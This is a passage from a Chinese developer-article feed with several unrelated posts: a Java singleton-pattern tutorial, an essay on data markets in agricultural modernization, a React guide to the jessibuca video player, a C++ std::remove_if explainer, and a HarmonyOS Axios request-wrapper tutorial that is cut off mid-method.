    // 2. 定义一个静态变量,用于存储实例,volatile保证可见性与有序性,避免指令重排
    private static volatile Singleton instance;

    // 3. 定义一个静态方法,用于获取唯一实例
    public static Singleton getInstance() {
        // 1.第一次判断,如果instance的值为null,则进入同步代码块
        if (instance == null) {
            // 2.同步代码块,保证线程安全
            synchronized (Singleton.class) {
                // 3.第二次判断,如果instance的值为null,则创建实例
                if (instance == null) {
                    instance = new Singleton();
                }
            }
        }
        return instance;
    }
}

优点:

  • 高效,只有在首次实例化时会加锁,之后不会。

注意:volatile 关键字防止指令重排,确保线程安全。

⭐为什么必须要加 volatile
  1. 防止指令重排
    1. 在 Java 中,对象的实例化过程分为三步:
      1. 分配内存空间
      2. 初始化对象
      3. 将内存地址赋值给变量
    1. 由于指令重排的存在,步骤 2 和步骤 3 可能被调换执行。例如:
      1. 线程 A 在执行 instance = new Singleton() 时,可能执行了分配内存和赋值操作,但还未完成初始化。
      2. 此时,instance 已经不为 null,但它指向的对象尚未完全初始化。
    1. 如果线程 B 此时调用 getInstance(),判断 instance != null 为真,但实际访问的是一个未初始化完全的对象,这将导致程序出错。
    2. 加上 volatile 后,禁止指令重排序,确保初始化顺序正确。
  1. 保证变量的可见性
    1. Java 的内存模型中,每个线程有自己的工作内存。一个线程对变量的修改,可能不会立即被其他线程所见。
    2. 加上 volatile 后,保证每次对 instance读操作都能获取到最新的值
      1. 当线程 A 完成 instance 初始化后,其他线程(如 B 线程)立刻可见,而不会读取到旧值或中间状态。

3.3. ⭐静态内部类(推荐)

// 懒汉式,静态内部类方式
public class Singleton {
    
    // 1.构造函数私有化,外部不能new
    private Singleton() {}
    
    // 2.创建静态内部类
    private static class SingletonHolder {
        // 3.创建静态变量,保存实例
        private static final Singleton INSTANCE = new Singleton();
    }
    
    // 3.定义一个静态方法,用于获取唯一实例
    public static Singleton getInstance() {
        return SingletonHolder.INSTANCE;
    }
}

原理:

  • 由于 JVM 加载外部类的过程中,不会加载静态内部类,只有内部类的属性/方法被调用时才会被加载,并初始化其静态属性。静态属性由于被 static 修饰,保证只会被实例化一次,并且严格保证实例化顺序。

优点:

  • 线程安全
  • 实现了延迟加载,按需初始化

4. ⭐枚举单例(最安全,推荐)

// 枚举单例
public enum Singleton {
    INSTANCE;
}

优点:

  • 简单
  • 天然防止反射和序列化破坏单例

破坏单例

1. 序列化破坏单例

问题
序列化和反序列化可以通过 ObjectInputStream 创建一个新的实例,而不是返回现有的单例实例。

示例代码:

import java.io.*;

public class Singleton implements Serializable {
    private static final long serialVersionUID = 1L;

    private static final Singleton INSTANCE = new Singleton();

    private Singleton() {}

    public static Singleton getInstance() {
        return INSTANCE;
    }

    public static void main(String[] args) throws Exception {
        Singleton instance1 = Singleton.getInstance();

        // 将对象序列化到文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("singleton.obj"));
        oos.writeObject(instance1);
        oos.close();

        // 从文件反序列化对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("singleton.obj"));
        Singleton instance2 = (Singleton) ois.readObject();

        // 验证是否为同一个实例
        System.out.println(instance1 == instance2); // 输出:false
    }
}

原因

  • 序列化机制会通过反序列化的过程创建一个新的对象实例,而不会调用单例类中的 getInstance() 方法。

解决方案
实现 readResolve() 方法,确保反序列化时返回现有实例。

private Object readResolve() {
    return INSTANCE;
}

2. 反射破坏单例

问题
通过反射,能够直接调用私有构造方法,创建多个实例。

示例代码:

import java.lang.reflect.Constructor;

public class Singleton {
    private static final Singleton INSTANCE = new Singleton();

    private Singleton() {}

    public static Singleton getInstance() {
        return INSTANCE;
    }

    public static void main(String[] args) throws Exception {
        Singleton instance1 = Singleton.getInstance();

        // 使用反射创建新实例
        Constructor<Singleton> constructor = Singleton.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        Singleton instance2 = constructor.newInstance();

        // 验证是否为同一个实例
        System.out.println(instance1 == instance2); // 输出:false
    }
}

原因

  • 反射可以访问私有构造方法并直接调用,从而绕过单例模式的限制。

解决方案

  1. 在构造方法中防止重复实例化
private static boolean isCreated = false;

private Singleton() {
    if (isCreated) {
        throw new RuntimeException("Singleton instance already created!");
    }
    isCreated = true;
}

2. 使用枚举单例
枚举类的单例天然防止反射和序列化破坏。

public enum Singleton {
    INSTANCE;
}

3. 总结

  • 序列化破坏:通过 readResolve() 方法解决。
  • 反射破坏:通过构造方法检查或使用枚举单例解决。
  • 推荐方式:使用 枚举单例,最简单且最安全,能有效防止这两种破坏。

在源码中的应用

1. ****Runtime

  • 简介Runtime 类允许应用程序与运行时环境交互,比如调用垃圾回收、运行外部命令等。
  • 实现方式:通过 饿汉式单例 实现。
源码分析
public class Runtime {
    private static final Runtime currentRuntime = new Runtime(); // 饿汉式实例化

    private Runtime() {} // 私有化构造方法

    public static Runtime getRuntime() {
        return currentRuntime; // 返回唯一实例
    }

    public void gc() {
        // 调用垃圾回收
    }

    public void exit(int status) {
        // 退出 JVM
    }
}
特点
  • 全局唯一实例。
  • 使用饿汉式,保证线程安全。

2. ****Desktop

  • 简介Desktop 类用来打开用户默认的应用程序(如浏览器、邮件客户端等)。
  • 实现方式:通过 懒汉式单例 实现。
源码分析
public final class Desktop {
    private static Desktop desktop;

    private Desktop() {}

    public static synchronized Desktop getDesktop() {
        if (desktop == null) {
            desktop = new Desktop(); // 懒汉式单例
        }
        return desktop;
    }

    public void browse(URI uri) {
        // 打开 URI
    }
}
特点
  • 使用同步方法保证线程安全。
  • 懒加载,实例在需要时创建。

3. ****Logger 类( java.util.logging.Logger

  • 简介Logger 是 Java 的日志工具类,用于记录和管理应用程序日志。
  • 实现方式:内部使用单例模式管理全局日志管理器(LogManager)。
源码分析(核心部分):
public class Logger {
    private static final LogManager manager = LogManager.getLogManager(); // 单例的 LogManager

    protected Logger(String name, String resourceBundleName) {
        // Logger 构造方法
    }

    public static Logger getLogger(String name) {
        return manager.getLogger(name); // 通过单例 LogManager 获取 Logger
    }
}
特点
  • LogManager 作为单例管理所有 Logger 实例。
  • getLogger 方法确保每个名称对应的 Logger 是唯一的。

4. 总结

在 JDK 源码中,单例模式被广泛应用于需要 全局唯一实例资源共享 的场景:

  1. 饿汉式Runtime 类。
  2. 懒汉式Desktop 类。
  3. 组合模式Logger 类中的 LogManager 单例。

这些设计的核心目标是:确保全局状态的一致性、节省资源以及简化管理

单例模式优缺点:


与其他模式的关系:

  1. 外观模式类通常可以转换为单例模式类, 因为在大部分情况下一个外观对象就足够了。
  2. 如果你能将对象的所有共享状态简化为一个享元对象, 那么享元模式就和单例类似了。 但这两个模式有两个根本性的不同。
    1. 只会有一个单例实体, 但是享元类可以有多个实体, 各实体的内在状态也可以不同。
    2. 单例对象可以是可变的。 享元对象是不可变的。
  1. 抽象工厂模式生成器模式原型模式都可以用单例来实现。

by SlackClimb at January 21, 2025 10:08 AM

juejin article

数据要素市场化与农业现代化

数据要素市场化作为数字经济时代的重要特征,正在对各行各业产生深远影响,其中农业领域也不例外。随着数字技术的飞速发展,数据作为一种新的生产要素,正在逐渐渗透到农业生产的各个环节,推动农业生产方式、经营主体组织以及产业结构的深刻变革。那么数据要素市场化对农业发展究竟有什么作用呢?

一、数据要素市场化

数据要素市场化是指通过市场机制实现数据资源的优化配置和有效利用。近年来,随着大数据、云计算、人工智能等技术的快速发展,数据已成为一种新的生产要素,其重要性日益凸显。数据要素市场化不仅有助于提高数据资源的利用效率,还能促进数字技术与实体经济的深度融合,推动经济高质量发展。

在农业领域,数据要素市场化的意义尤为重大。农业作为国民经济的基础产业,其现代化水平直接关系到国家粮食安全和农业可持续发展。然而,传统农业生产方式存在诸多弊端,如生产效率低下、资源浪费严重、环境污染突出等。数据要素市场化的推进,为农业现代化提供了新的动力和路径。通过数据驱动,可以实现农业生产的精准化、智能化和高效化,提高农业生产效率和质量,降低生产成本和环境压力,推动农业可持续发展。

二、数据要素与农业的关系

  1. 数据驱动农业生产方式变革

数据要素参与农业经营主体决策制定,提高决策效率。传统农业高度依赖个人经验,但个人经验往往具有主观性、局限性,导致生产决策效率低下,偏离最优决策。依靠信息技术提供的精准信息和庞大算力,可实现农业生产的精准化控制,完成农业生产决策从主观经验主导到客观数据支撑的转型。例如,土壤肥力数字化检测、农田水利智能灌溉等技术,能减少面源污染和水资源浪费,提高农户收益,拥有巨大推广潜力。

同时,数据要素有助于加强信息监管,保障农业生产质量安全。农业农村部印发的《“十四五”全国农产品质量安全提升规划》指出,保证农产品质量安全是建设现代农业的重要任务。农产品质量安全特别是食品安全,与广大消费者的身心健康息息相关。

但城乡二元体系中城市消费者往往无法直接监督农业生产,又由于农业因地制宜的特性而难以做到标准化,造成质量安全隐患。产中,农业生产主体利用数据要素,精细化配置各类农业生产资料投入,可以降低农业生产资料的库存率,提高化肥、水资源等生产要素的利用效率。产后,数据要素赋予农户新颖高效的营销手段。利用抖音等直播平台、淘宝等数字电商平台,促进产销对接,降低农产品滞销率,提高销售收入。

此外,数据要素还有助于防范自然灾害,降低农业整体风险。利用数字防御体系,结合灾害发生历史、田间传感器和遥感数据等,通过算法推算自然灾害发生概率,自动生成应对方案,完成灾害预警,降低自然灾害造成的损失。

  1. 数据要素推动农业经营主体组织创新

数据要素为农业生产组织带来创新动力。互联网技术的发展应用使农业组织成员之间沟通交流更加顺畅,进一步减少内部交易成本,使其向管理高效化、分工合理化、结构扁平化的方向发展。方便快捷的信息流动,也为能够整合农业产业链各环节的农民合作社、产业联合体的形成提供了条件。

同时,数据要素有助于推动资源合理配置。各种新兴的数字化平台有利于减少劳动、土地和农资等要素市场的信息不对称,加快农业生产要素的流动,降低交易成本。

此外,数据要素还有助于提升社会化服务覆盖率。各类农业社会化服务主体,如农机合作社、配肥站、智慧农业解决方案提供商等,通过应用互联网、云存储、数据分析等技术,可以精确了解农民需求、总结技术要点,实现服务更新迭代,提高服务质量,扩大服务覆盖面。

  1. 数据要素推动农业产业结构转型升级

数据要素帮助经营者深刻理解市场机制。通过大数据分析和数据挖掘,农业经营主体可以把握农产品市场规律,了解不同地区、不同身份消费者的农产品需求,从而灵活调整配销布局和生产规划,平抑农产品周期性波动;选择受欢迎的优质农产品品种,实现整个产业链的智能化、高端化升级。

数据要素还有助于农产品生产、加工、流通过程的重塑,实现农业数据和交易的深度融合。数字电商、直播带货等新型零售方式为农产品市场营销注入新活力;人工智能技术深度参与农业生产全过程,可以通过重新设计生产流程提高资源利用效率。

三、数据要素在农业现代化中的重要作用

数据要素在农业现代化中发挥着举足轻重的作用。

  1. 提高农业生产效率和质量

通过数据驱动,可以实现农业生产的精准化、智能化和高效化。例如,利用物联网技术监测农田环境参数,如土壤湿度、温度、光照强度等,为农业生产提供精准的数据支持。同时,结合人工智能算法对农业生产过程进行优化,提高生产效率和质量。

  1. 降低生产成本和环境压力

数据要素的应用有助于降低农业生产成本和环境压力。通过数据分析,可以优化农业生产过程中的资源配置,减少浪费和污染。例如,利用精准灌溉技术实现水资源的合理利用,减少水资源浪费;利用智能农机具提高农业生产效率,降低人力成本。

  1. 推动农业可持续发展

数据要素市场化的推进有助于推动农业可持续发展。通过数据驱动,可以实现农业生产的绿色化、循环化和低碳化。例如,利用数据分析技术监测农业生产过程中的能源消耗和排放情况,为制定节能减排措施提供科学依据;利用智能农机具和精准农业技术实现农业废弃物的资源化利用,减少环境污染。

四、数据要素在农业现代化中的实践

以全国两会期间全国政协委员、京东集团技术委员会主席曹鹏的提案为例,他围绕当前农业发展的数据要素问题,为农产品加工业高质量发展提出了多项建议。其中包括推动数据要素应用、加强科技创新、培育知名品牌、完善产业链数智化建设等。

在数据要素应用方面,曹鹏建议相关部门建立农业数据共享平台,推动农业生产、流通数据的整合和分析,为农产品加工企业和农户提供决策支持。同时,通过政策鼓励,加快生物资产数字化体系和溯源体系的建设,为金融机构提供有效的风险评估依据,促进农业企业和农户获得高效、低成本的信贷支持。

在农产品品牌建设方面,曹鹏建议政府、三方机构、企业共同发力,挖掘地标特色农产品,通过品牌标准认证和绿色品牌新体系的构建,提升农产品的市场竞争力。同时,扩大农牧渔产品的免税范围,降低该类农产品流通企业的税负,增加对特色农产品零售企业的补贴支持,促进行业健康发展。

值得一提的是,2024年12月5日,首都农业食品有限公司(即“首农食品集团”)的子公司——北京首农畜牧发展有限公司(简称“首农畜牧”)正式宣布,从北京农村商业银行(简称“北京农商行”)成功获得了一笔1020万元的数据资产质押贷款。这是首农食品集团首次利用涉农数据资产作为质押物进行融资,同时也是北京市市管企业在这一领域的首次成功尝试。

这笔贷款的具体操作是,首农畜牧公司将其拥有的“牛群养殖基础数据资产”和“牛用饲料检测数据资产”作为质押物,向北京农商行申请贷款。经过评估,北京农商行认可了这些数据的价值,并决定向首农畜牧公司提供1020万元的贷款额度。

首农畜牧公司拥有自主研发的信息数据管理平台,该平台积累了大量的数据资源,这些数据在多个应用场景中都发挥了重要作用。自2024年10月31日起,首农畜牧公司的这两类数据资产已经成功入表,标志着集团开始将数据资产的管理和价值挖掘纳入日常议程。

此次贷款的成功发放,不仅为首农畜牧公司提供了新的融资渠道,解决了其资金需求问题,更重要的是,它为企业数据资产经济价值的体现探索出了一条切实可行的道路。这一创新性的融资模式不仅有助于提升企业的融资效率,降低融资成本,同时也为行业内其他企业提供了可借鉴的宝贵经验。

结语

数据要素市场化正在对农业现代化产生深远影响。通过数据驱动,可以实现农业生产的精准化、智能化和高效化,提高农业生产效率和质量,降低生产成本和环境压力,推动农业可持续发展。然而,数据要素在农业现代化中的应用仍面临诸多挑战,需要完善数据要素市场体系和治理体系,加强科技创新和人才培养,推动农业产业链数智化建设等措施来加以解决。未来,随着数字技术的不断发展和应用,数据要素将在农业现代化中发挥更加重要的作用。

参考资料:

蔡清龙.数据要素市场化对中国式农业农村现代化建设的影响——基于数据交易平台的准自然实验[J].技术经济与管理研究,2024,(12):83-89.

首农食品集团涉农数据资产获千万元质押贷款[J].中国农垦,2025,(01):16.DOI:10.16342/j.cnki.11-1157/s.2025.01.009.

by 埃文科技 at January 21, 2025 10:08 AM

juejin frontend

GB/T28181 全栈开发日记[6]:React 快速接入 jessibuca.js 播放器

GB/T28181 全栈开发日记[6]:React 快速接入 jessibuca.js 播放器

介绍

GoWVP (Golang Web Video Platfrom) 是一个 Go 语言实现的,基于 GB28181-2022 标准实现的网络视频平台,负责实现核心信令与设备管理后台部分,支持海康、大华、宇视等品牌的 IPC、NVR、DVR 接入。支持国标级联,支持rtsp/rtmp等视频流转发到国标平台,支持 rtsp/rtmp 等推流转发到国标平台。

技术栈

Golang v1.23, Goweb v1.x, Gin v1.10, Gorm v1.25 ...

React 19, Vite 6.x, Typescript, React-Router v7, React-Query v5, shadcn/ui ...

React 快速接入 jessibuca.js 播放器

先看效果图

image-20250121171127764

第一步 拷贝文件到项目中

打开 jessibuca 开源项目,下载 dist.zip 文件,将文件解压缩拷贝的项目目录 public/assets/js/ 下。

image-20250120224702388

第二步 在 html 中导入脚本

react-router v7 在是 root.tsx 文件中定义 Layout 函数,其返回了 HTML,截图中所示引用了环境变量,因为我们项目部署后有个前缀目录,注意别落下。

image-20250120224835666

第三步 封装播放器

dist.zip 中存在 jessibuca.d.ts 文件,拷贝到 components/player 目录下,返回 div 标签,等会我们将播放器挂载到该标签里。

interface PlayerProps {
  ref: React.RefObject<PlayerRef | null>;
  link: string; // 播放的流地址
}

export default function Player({ ref,url }: PlayerProps) {
  const divRef = useRef<HTMLDivElement>(null);
  return <div className="w-full h-full bg-black" ref={divRef}></div>;
}

使用 useEffect 初始化 Jessibuca,Jessibuca.Config 是刚刚复制过来 jessibuca.d.ts 文件中定义的类型,ts 类属性语法提示很好用。

在初始化过程中最重要的四点

  • 禁止重复创建 Jessibuca 播放器
  • 初始化参数中 decoder 一定要指定准确的位置,否则找不到解码器会播放黑屏
  • 如果已经传递了流地址,在初始化完成后,就可以播放了。
 useEffect(() => {
    // 播放器已经初始化,无需再次执行
    if (p.current) {
      return; 
    }
     const cfg: Jessibuca.Config = {
      container: divRef.current!,
      // 注意,这里很重要!! 加载解码器的路径
      decoder: `${import.meta.env.VITE_BASENAME}assets/js/decoder.js`,
      debug: true,
      useMSE: true,
      isNotMute: true,
      showBandwidth: true, // 显示带宽
      loadingTimeout: 7, // 加载地址超时
      heartTimeout: 7, // 没有流数据,超时
      videoBuffer: 0.2,
      isResize: true,
      operateBtns: {
        fullscreen: true,
        screenshot: true,
        play: true,
        audio: true,
        record: true,
      },
    };
    p.current = new window.Jessibuca(cfg);
     // 如果传入了播放链接,在加载播放器以后就可以播放了
    if (link) {
      play(link);
    }
    return () => {
      console.log("🚀 ~ Jessibuca-player ~ dispose");
    };
  }, []);

window.Jessibuca(cfg) 会提示 window 没有 Jessibuca 这个函数,我们定义一个。

declare global {
  interface Window {
    Jessibuca: any;
  }
}

在上面初始化完成后,执行的 play 函数,用于播放流。

 const play = (link: string) => {
    console.log("🚀 Jessibuca-player ~ play ~ link:", link);
    if (!p.current) {
      console.log("🚀 Jessibuca-player ~ play ~ 播放器未初始化:");
      toastError({ title: "播放器未初始化" });
      return;
    }
    if (!p.current.hasLoaded()) {
      console.log("🚀 Jessibuca-player ~ play ~ 播放器未加载完成:");
      toastError({ title: "播放器未加载完成" });
      return;
    }

    p.current
      .play(link)
      .then(() => {
        console.log("🚀 Jessibuca-player ~ play ~ success");
      })
      .catch((e) => {
        toastError({ title: "播放失败", description: e.message });
      });
  };

还需要提供一个销毁函数,避免页面关闭后,播放器还在后台消耗资源。

  const destroy = () => {
    console.log("🚀 Jessibuca-player ~ play destroy");
    if (p.current) {
      p.current.destroy();
      p.current = null;
    }
  };

第四步 控制反转

控制反转是一种软件设计原则,它将对象的控制权从调用者转移到另一个对象或框架。

简单说一说

正常是组件控制自己的状态,或者父组件中定义状态,传递给子组件用。

控制反转是指在子组件中定义了状态,但将状态控制权交给了父组件,每个引用子组件的父组件就不需要定义那么多状态属性。

在 react 19 以前,子组件需要 forwardRef 函数接收 ref,那是旧时代的东西啦,该项目使用的正是 React 19.x,直接将 ref 作为参数传递即可。

通过 useImperativeHandle 将子组件的控制权交出去,也就是上面我们定义的函数。

  useImperativeHandle(ref, () => ({
    play, // 播放
    destroy, // 销毁
  }));

第五步 应用播放组件

playerRef 是播放器的控制器,用于调用 playdestroy

link 是流连接,如果不传递此参数,需要主动调用 playerRef.current?.play(link) 来播放。

父组件的生命周期结束(即页面销毁时) 一定要调用playerRef.current?.destroy() 避免播放器还在后台消耗资源。

设置个最小宽高避免窗口缩放时,播放器变形,这就搞定了。

export type PlayerRef = {
  play: (link: string) => void;
  destroy: () => void;
};
// ......
const playerRef = useRef<PlayerRef>(null);
// 流地址
const [link, setLink] = useState("");  
// 关闭弹窗,并销毁播放器
  const close = () => {
    setOpen(false);
    playerRef.current?.destroy();
  };
//.........
<Button variant="outline" onClick={close}>关闭</Button>
{/* 播放器设置一个最小宽高 */}
<div className="min-h-[10rem] min-w-[40rem]">
     <AspectRatio ratio={16 / 9}>
         <Player ref={playerRef} link={link} />
     </AspectRatio>
</div>

随着业务需求,播放器组件可以提供更多的控制函数,交由父组件调用。

总结

写代码很简单,除非它很难。如果它很难,写代码未必简单。

参考

React 19 ref as a prop 官方文档

React useImperativeHandle 官方文档

播放器 github.com/langhuihui/jessibuca

by 来杯咖啡 at January 21, 2025 10:06 AM

结合Linux平台RTSP|RTMP播放器demo谈谈std::remove_if

背景

好多开发者可能会疑惑,你一个搞音视频开发的,怎么做起了C++基础普及的事情?搞音视频底层开发的,大多需要有相对好的C C++基础,这里提到的std::remove_if,也是因为大牛直播SDK的demo代码里面有用到。有些对接的开发者容易疑惑,做个基础的扫盲。

以我们Linux平台RTSP|RTMP多路播放的demo为例,我们针对event handler做了封装,大概的设计如下:

/*
 * nt_sdk_handle_wrapper.h
 * Created by daniusdk.com (C) All rights reserved.
 */
class NT_SDK_HandleWrapper
{
public:
explicit NT_SDK_HandleWrapper(SmartPlayerSDKAPI* sdk_api);
~NT_SDK_HandleWrapper();

public:
void AddEventHandler(const std::shared_ptr<NT_SDK_EventHandler>& handler);
void RemoveHandler(const std::shared_ptr<NT_SDK_EventHandler>& handler);
void RemoveHandler(const NT_SDK_EventHandler* handler);

    ...

private:
std::recursive_mutex event_handlers_mutex_;
std::vector<std::weak_ptr<NT_SDK_EventHandler> > event_handlers_;
};

其他不再赘述,针对AddEventHandler()和RemoveHandler()处理如下:

void NT_SDK_HandleWrapper::AddEventHandler(const std::shared_ptr<NT_SDK_EventHandler>& handler)
{
assert(handler);

std::unique_lock<std::recursive_mutex> lock(event_handlers_mutex_);

auto iter = std::find_if(begin(event_handlers_), end(event_handlers_),
[&handler](const std::weak_ptr<NT_SDK_EventHandler>& i)->bool
{
if (i.lock() == handler)
{
return true;
}

return false;
});


if (iter == end(event_handlers_))
{
event_handlers_.push_back(handler);
}
}

void NT_SDK_HandleWrapper::RemoveHandler(const std::shared_ptr<NT_SDK_EventHandler>& handler)
{
assert(handler);

std::unique_lock<std::recursive_mutex> lock(event_handlers_mutex_);

auto iter = std::remove_if(begin(event_handlers_), end(event_handlers_),
[&handler](const std::weak_ptr<NT_SDK_EventHandler>& i)->bool
{
if (i.lock() == handler)
{
return true;
}

return false;
}
);

if (iter != end(event_handlers_))
{
event_handlers_.erase(iter, end(event_handlers_));
}
}

void NT_SDK_HandleWrapper::RemoveHandler(const NT_SDK_EventHandler* handler)
{
assert(handler != nullptr);

std::unique_lock<std::recursive_mutex> lock(event_handlers_mutex_);

auto iter = std::remove_if(begin(event_handlers_), end(event_handlers_),
[&handler](const std::weak_ptr<NT_SDK_EventHandler>& i)->bool
{
auto obj = i.lock();
if (!obj)
{
return true;
}

if (obj.get() == handler)
{
return true;
}

return false;
}
);

if (iter != end(event_handlers_))
{
event_handlers_.erase(iter, end(event_handlers_));
}
}

std::remove_if扫盲

这里部分开发者可能会有疑惑,std::remove_if 是 C++ 标准库中的一个算法函数,定义在 <algorithm> 头文件中。它的主要功能是根据用户提供的条件,将容器中满足该条件的元素移除。

std::remove_if 的函数签名如下:

template< class ForwardIt, class UnaryPredicate >
ForwardIt remove_if( ForwardIt first, ForwardIt last, UnaryPredicate p );

参数解释

  • firstlast:表示容器中元素范围的迭代器,[first, last) 是要操作的元素范围。
  • p:一个一元谓词函数,接受一个参数,其返回值是 bool 类型。该谓词函数会对 [first, last) 范围内的元素进行判断,返回 true 表示该元素应该被移除。

工作原理

  • std::remove_if 并不会真正从容器中删除元素,因为它没有办法改变容器的大小。实际上,它会将不需要移除的元素移动到容器的前面,并返回一个新的 “逻辑结束” 迭代器,该迭代器指向最后一个不需要移除元素的下一个位置。
  • 为了真正删除元素,你需要结合容器的 erase 成员函数,使用 erase-remove_if 惯用法。

总结

  • std::remove_if 适用于顺序容器,如 vectorlistdeque 等。
  • 对于关联容器(如 setmap),由于它们有自己的删除元素的成员函数,并且元素存储是有序的,不应该使用 std::remove_if
  • 在使用 erase-remove_if 惯用法时,要确保容器支持 erase 操作。

通过这种方式,你可以方便地根据自定义条件从容器中移除元素,并且代码简洁高效。

by 音视频牛哥 at January 21, 2025 10:03 AM

juejin android

如何让鸿蒙 Axios 网络请求像诗一样优雅

时光仿若白驹过隙,转瞬即逝,距离我上次发布的有关封装网络请求库的文章 如何让 Android 网络请求像诗一样优雅 已经有一年多的时间了,随着华为纯血鸿蒙的正式使用,鸿蒙 App 的开发也提上了日程。在 Harmony 应用开发中,网络请求是必不可少的,如何封装才能使自己的网络请求代码更加简洁优雅,更具扩展性,方便以后的开发呢?本文是基于 Axios 网络请求库来做的二次封装,好了,废话不多说,开整 ~

依赖

首先,使用命令下载安装 Axios 库。

ohpm install @ohos/axios

安装完成之后,我们就可以在 oh-package.json5 中看到该依赖。

"dependencies": {
  "@ohos/axios": "^2.2.4"
}

创建实例

private axiosInstance: AxiosInstance = axios.create({
  timeout: 10000
})

定义拦截器

定义请求和响应拦截器,这里只做了请求和响应信息的日志打印,方便以后查看和调试相关问题。

this.axiosInstance.interceptors.request.use((config: InternalAxiosRequestConfig) => {
  console.info('Axios Request:' + JSON.stringify(config))
  return config
})

this.axiosInstance.interceptors.response.use((response: AxiosResponse) => {
  console.info('Axios Response:' + JSON.stringify(response))
  return response
})

数据模型

export type NetParamType = string | number | boolean

export class BaseResult<T> {
  readonly code: number = 0
  readonly message?: string = ''
  readonly warnMessage?: string = ''
  readonly data?: T
}

GET 请求

先定义一个私有方法执行原始 get 请求。

private axiosGet<T>(url: string, axiosConfig: AxiosRequestConfig): Promise<T> {
  return this.axiosInstance.get<T, AxiosResponse<T>, null>(url, axiosConfig).then((response: AxiosResponse<T>) => {
    const data = response.data
    if (!data) {
      Promise.reject(new Error('response data is null'))
    }
    return data
  }).catch((error: Error) => {
    return Promise.reject(error)
  })
}

然后提供一个方法,用于发起 get 请求,这里统一配置 url,请求参数,请求头 token 等。

netGet<T>(url: string, params?: Map<string, NetParamType>,
  headers?: Map<string, string>): Promise<BaseResult<T>> {
  //请求参数
  const axiosParams = new Map<string, NetParamType>()
  if (params && params.size > 0) {
    params.forEach((value, key, _) => {
      axiosParams[key] = value
    })
  }
  //请求头
  const axiosHeaders = new AxiosHeaders()
  if (globalToken.length > 0) {
    axiosHeaders.set('token', globalToken)
  }
  if (headers && headers.size > 0) {
    headers.forEach((value, key, _) => {
      axiosHeaders.set(key, value)
    })
  }
  const axiosRequestConfig: AxiosRequestConfig = {
    headers: axiosHeaders,
    params: axiosParams
  }
  const axiosUrl = BASE_URL + url
  return this.axiosGet<BaseResult<T>>(axiosUrl, axiosRequestConfig)
}

POST 请求

先定义一个私有方法执行原始 post 请求。

private axiosPost<T>(url: string, params: string, axiosConfig: AxiosRequestConfig): Promise<T> {
  return this.axiosInstance.post<T, AxiosResponse<T>, string>(url, params,
    axiosConfig).then((response: AxiosResponse<T>) => {
    const data = response.data
    if (!data) {
      Promise.reject(new Error('response data is null'))
    }
    return data
  }).catch((error: Error) => {
    return Promise.reject(error)
  })
}

然后提供一个方法,用于发起 post 请求,这里统一配置 url,请求参数,请求头 token 等。

netPost<T>(url: string, params?: Map<string, NetParamType>, headers?: Map<string, string>): Promise<BaseResult<T>> {
  let formParams = ''
  if (params && params.size > 0) {
    const formArray: string[] = []
    params.forEach((value, key, _) => {
      const encodedKey = encodeURIComponent(key)
      const encodeValue = encodeURIComponent(value)
      formArray.push(`${encodedKey}=${encodeValue}`)
    })
    formParams = formArray.join('&')
  }
  const axiosHeaders = new AxiosHeaders().set('Content-Type', 'application/x-www-form-urlencoded')
  if (globalToken.length > 0) {
    axiosHeaders.set('token', globalToken)
  }
  if (headers && headers.size > 0) {
    headers.forEach((value, key, _) => {
      axiosHeaders.set(key, value)
    })
  }
  const axiosRequestConfig: AxiosRequestConfig = {
    headers: axiosHeaders
  }
  const axiosUrl = BASE_URL + url
  return this.axiosPost<BaseResult<T>>(axiosUrl, formParams, axiosRequestConfig)
}

文件上传

upLoadFile(url: string, filePath: string, params?: Map<string, NetParamType>,
  onUploadProgress: (progress: number) => void = () => {
  }): Promise<BaseResult<object>> {
  const formData = new FormData()
  if (params && params.size > 0) {
    params.forEach((value, key, _) => {
      formData.append(key, value)
    })
  }
  const axiosHeaders = new AxiosHeaders({ 'Content-Type': 'multipart/form-data' })
  if (globalToken.length > 0) {
    axiosHeaders.set('token', globalToken)
  }
  try {
    let file2 = fs.openSync(filePath, fs.OpenMode.READ_WRITE | fs.OpenMode.CREATE)
    let stat = fs.lstatSync(filePath)
    let buf2 = new ArrayBuffer(stat.size)
    fs.readSync(file2.fd, buf2)
    fs.fsyncSync(file2.fd)
    fs.closeSync(file2.fd)
    formData.append('video', buf2)
  } catch (e) {
    console.error('read file error: ' + JSON.stringify(e))
  }
  return this.axiosInstance.post<BaseResult<object>, AxiosResponse<BaseResult<object>>, FormData>(BASE_URL + url,
    formData, {
      headers: axiosHeaders,
      context: getContext(this),
      onUploadProgress: (event: AxiosProgressEvent): void => {
        let progress = (event && event.loaded && event.total) ? Math.ceil(event.loaded / event.total * 100) : 0
        onUploadProgress(progress)
      },
    }).then((response: AxiosResponse<BaseResult<object>>) => {
    const data = response.data
    if (!data) {
      Promise.reject(new Error('response data is null'))
    }
    return data
  }).catch((error: Error) => {
    return Promise.reject(error)
  })
}

文件下载

downLoadFile(context: Context, url: string, method: string, filePath: string,
  onDownloadProgress: (progress: number) => void = () => {
  }, onDownloadResult: (result: AxiosResponse) => void = () => {
  }, onDownloadError: (errorMsg: string) => void = () => {
  }) {
  this.axiosInstance<AxiosResponse>({
    url: url,
    method: method,
    context: context,
    filePath: filePath,
    onDownloadProgress: (event: AxiosProgressEvent): void => {
      let progress = (event && event.loaded && event.total) ? Math.ceil(event.loaded / event.total * 100) : 0
      onDownloadProgress(progress)
    }
  }).then((result: AxiosResponse) => {
    onDownloadResult(result)
  }).catch((e: AxiosError) => {
    onDownloadError(e.message)
  })
}

带身份验证的请求

HTTP 异常的状态码有很多,需要统一处理的状态码主要是 401 ,表示 token 失效,需要重新刷新 token,毕竟这会直接影响我们几乎所有的网络请求。

//获取身份信息,比如 token
refreshIdentity(): Promise<BaseResult<IdentityInfo[]>> {
  return GeneralRequest.getIdentityInfo(this)
}

这里定义一个方法,用于 token 失效的时候重新请求获取 token,获取到新的 token 之后,再一次发起我们的请求。

private requestByCheckIdentity<T>(block: () => Promise<BaseResult<T>>): Promise<BaseResult<T>> {
  if (globalToken.length == 0) {
    return this.refreshIdentity().then(() => {
      return block()
    })
  }
  return block().then((result) => {
    if (result.code == 401) { 
      return this.refreshIdentity().then(() => {
        return block()
      })
    } else {
      return result
    }
  })
}

执行请求都统一调用这个方法,这样我们就可以一致避免 token 失效的情况。

getByCheckIdentity<T>(url: string, params?: Map<string, NetParamType>,
  headers?: Map<string, string>): Promise<BaseResult<T>> {
